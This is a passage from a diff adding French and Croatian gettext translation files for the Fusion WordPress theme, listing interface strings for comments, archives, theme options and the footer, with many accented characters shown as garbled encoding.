+msgstr "DÃ©solÃ©, mais il n'y a pas d'articles pour cette date."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "DÃ©solÃ© mais il n'y a pas encore d'articles de %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "Pas d'articles trouvÃ©."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Archives par mois."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Archives par sujet."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+#, fuzzy
+msgid "Homepage:"
+msgstr "Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "l j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+#, fuzzy
+msgid "Posted in"
+msgstr "PostÃ© par %s dans %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+#, fuzzy
+msgid "No posts found by this author."
+msgstr "Pas d'articles trouvÃ©."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Entrez votre mot de passe pour voir les commentaires."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Commentaires"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "RÃ©troliens"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Pas de nouveau commentaire."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Vous devez vous <a href=\"%s\">connecter</a> pour Ã©crire un commentaire."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "ConnectÃ© sous"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "DÃ©connection de ce compte"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "DÃ©connection &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Bienvenue <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "Changer &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "Ferme &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "Nom"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(obligatoire)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(non publiÃ©)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "Website"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "Valider le commentaire"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "Pas encore de RÃ©troliens."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "Les commentaires sont fermÃ©s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Fusion theme (Fr par <a href=\"http://www.semageek.com\">Semageek</a>) par"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "PropulsÃ© par"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "EntrÃ©es (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "et"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "Commentaires (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "Diminuer/Augmenter la taille du texte"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "basculez entre la largeur totale ou fixe."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "Option du thÃšme Fusion"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "Mots clÃ©s META"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "SÃ©parÃ© par des virgules"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "Utiliser un logo personalisÃ©"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Uploadez votre logo comme \"logo.png\" dans le rÃ©pertoire du thÃšme:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "Vous devez exporter l'image du logo avec la transparence active"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "DÃ©sactive l'onglet Page d'accueil"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Cochez si vous utilisez une page d'accueil statique"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "Voir les catÃ©gories dans les onglets"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(Ã  la place des pages)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "DÃ©sactive le bloc CatÃ©gorie par defaut de la sidebar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Cochez si vous prÃ©fÃ©rez utiliser les catÃ©gorie en Widget ou si vous voulez juste cacher les CatÃ©gories"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "Desactiver le bloc Rechercher par default"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "Cochez si vous n'aimez pas le bloc Rechercher par dÃ©faut du thÃšme"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "DÃ©sactiver le controle des layouts (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "Largeur par dÃ©faut de la page :"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "FixÃ© (960 pixels)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Modulable (95 pourcent de la largeur d'Ã©cran visiteur)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Notez que si le controle de layout est activÃ©, la largeur de page Javascript du visiteur dans le cookies surpasse cette option"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "Position de la SideBar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "Droite(default)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "Gauche"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "Desactiver jQuery et le code associÃ©"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Le chargement de la page sera rÃ©duit de 70kB, mais certains effets seront inactif (layout controls, rss dans le menu categorie, onglet commentaires, rÃ©troliens).<br />Vous changerez cette option que dans le cas de problÃšme de bande passante."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "Code CSS PersonnalisÃ©"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "Ici vous pouvez ajouter ou changer le design, si vous avez des besoins CSS basique particulier. Cochez"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "pour voir les styles existants, que vous pouvez redefinir ici."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Ne modifier pas style.css si vous desirez conserver vos changements aprÃšs une mise Ã  jour de thÃšme! Utilisez plutÃŽt cette otion."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "Sauvegardez les changements"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "by"
+msgstr "par"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s Ã  %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:207
+msgid "Your comment is awaiting moderation."
+msgstr "Votre commentaire est en attente de modÃ©ration"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Reply"
+msgstr "RÃ©pondre"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Quote"
+msgstr "Citez"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "Vous Ãªtes Ã  Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "Cliquez pour aller Ã  Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "Cet article a Ã©tÃ© postÃ© le"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "et classÃ© dans"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "<br>Vous pouvez vous abonner aux commentaires via le flux"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "<br>Vous pouvez <a href=\"#respond\">laisser un commentaire</a>, ou un <a href=\"%s\" rel=\"trackback\">rÃ©trolien</a> de votre site."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Les commentaires sont fermÃ©s, mais vous pouvez mettre un<a href=\"%s\" rel=\"trackback\">rÃ©trolien</a> de votre site."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Vous pouvez aller Ã  la fin et laissez un commentaire. Les rÃ©troliens ne sont pas autorisÃ©s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Les commentaires et les rÃ©troliens ne sont pas autorisÃ©s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "<br>Editer cet article"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "DÃ©solÃ©, pas de piÃšces jointes correspondant Ã  vos critÃšres."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "Non trouvÃ©"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "DÃ©solÃ©, mais vous cherchez quelque chose qui n'est pas lÃ ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "Liens:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Lire la suite &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "RÃ©sultat de recherche"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "Pas d'article trouvÃ©. Essayez une autre recherche."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "Rechercher"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "Vous parcourez actuellement les archives de la catÃ©gorie %1$s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "Vous parcourez actuellement les archives de %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "Vous parcourez actuellement les archives de l'annÃ©e %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "Vous avez recherchÃ© dans les archives :"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "Vous parcourez actuellement les archives"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "Archives"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "DÃ©solÃ©, aucun article ne correspond Ã  vos critÃšres."
+
+#~ msgid "Subscribe to comments feed"
+#~ msgstr "Abonnez vous au flux de commentaire"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/hr_HR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/hr_HR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/hr_HR.po	(revision 44)
@@ -0,0 +1,574 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-22 14:31+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: digitalnature <hello@digitalnature.ro>\n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Croatian\n"
+"X-Poedit-Country: CROATIA\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "Stranica nije pronaÄena (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "Arhiva za kategorije"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "Postovi tagirani"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "Arhiva za"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "j. F Y."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F Y."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Autorova arhiva"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Blog arhiva"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "Permalink prema"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "Napisao/la %s unutar %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Napisao/la %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr "u"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "ProÄitaj ostatak Älanka &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "Nema komentara"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "1 komentar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "% komentara"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Stariji unosi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "Noviji unosi &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Sorry, ali jos nema nikakvih postova u kategoriji %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Sorry, ali nema postova s tim datumom."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Sorry, ali joÅ¡ nema postova od %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "Nijedan post nije pronaÄen."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Arhive prema mjesecu:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Arhive prema temi:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+#, fuzzy
+msgid "Homepage:"
+msgstr "Naslovnica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "l, j F Y."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+#, fuzzy
+msgid "Posted in"
+msgstr "Napisao/la %s unutar %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+#, fuzzy
+msgid "No posts found by this author."
+msgstr "Nijedan post nije pronaÄen."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "UpiÅ¡ite lozinku za pregled komenara"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Komentari"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "Povratnice"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "JoÅ¡ nema komentara."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "MoraÅ¡ biti <a href=\"%s\">prijavljen</a> za komentiranje."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "Prijavljen kao"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "Odjavi se s ovog raÄuna"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "Odjava"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Dobro doÅ¡li natrag <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "Promijeni &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "Zatvori &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "Ime"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(obavezno)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "E-mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(neÄe biti objavljen)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "Web stranica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "PoÅ¡alji komentar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "JoÅ¡ nema povratnica."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "Komentari su zatvoreni."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Tema Fusion od"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "izraÄeno od"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "Unosi (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "Komentari (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "PoveÄaj/smanji veliÄinu fonta"
+
